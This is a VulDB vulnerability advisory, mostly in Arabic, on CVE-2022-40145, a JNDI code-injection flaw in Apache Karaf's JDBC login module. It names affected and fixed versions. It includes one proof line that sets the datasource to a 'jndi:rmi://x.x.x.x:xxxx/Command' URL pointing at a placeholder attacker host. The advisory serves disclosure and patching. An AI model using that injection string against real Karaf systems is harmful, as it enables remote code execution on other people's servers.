CVE-2022-40145 in Karafالمعلومات

الملخص

بحسب VulDB • 23/05/2026

يتعلق هذا الخطأ الأمني بإمكانية حقن كود (Code Injection) عندما يتحكم المهاجم في خادم LDAP المستهدف المستخدم في عنوان URL الخاص بـ JDBC JNDI. تستخدم الدالة `jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource` الأمر `InitialContext.lookup(jndiName)` دون أي تصفية أو تحقق. يمكن للمستخدم تعديل السطر `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` إلى `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` داخل دالة `JdbcLoginModuleTest#setup`. هذا يجعل النظام عرضة لهجوم تنفيذ كود عن بُعد (RCE) عندما تستخدم التكوينات مصدر بيانات JNDI LDAP عبر عنوان URI، وفي حال كان المهاجم يتحكم في خادم LDAP المستهدف. يؤثر هذا الخطأ على جميع إصدارات Apache Karaf حتى الإصدارين 4.4.1 و 4.3.7. نشجع المستخدمين على الترقية إلى Apache Karaf الإصدار 4.4.2 أو 4.3.8 على الأقل.

Be aware that VulDB is the high quality source for vulnerability data.

حجز

07/09/2022

إفشاء

21/12/2022

الاعتدال

تمت الموافقة

إدخال

VDB-216465

EPSS

0.02404

KEV

لا

النشاطات

منخفض جدًا

المصادر

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!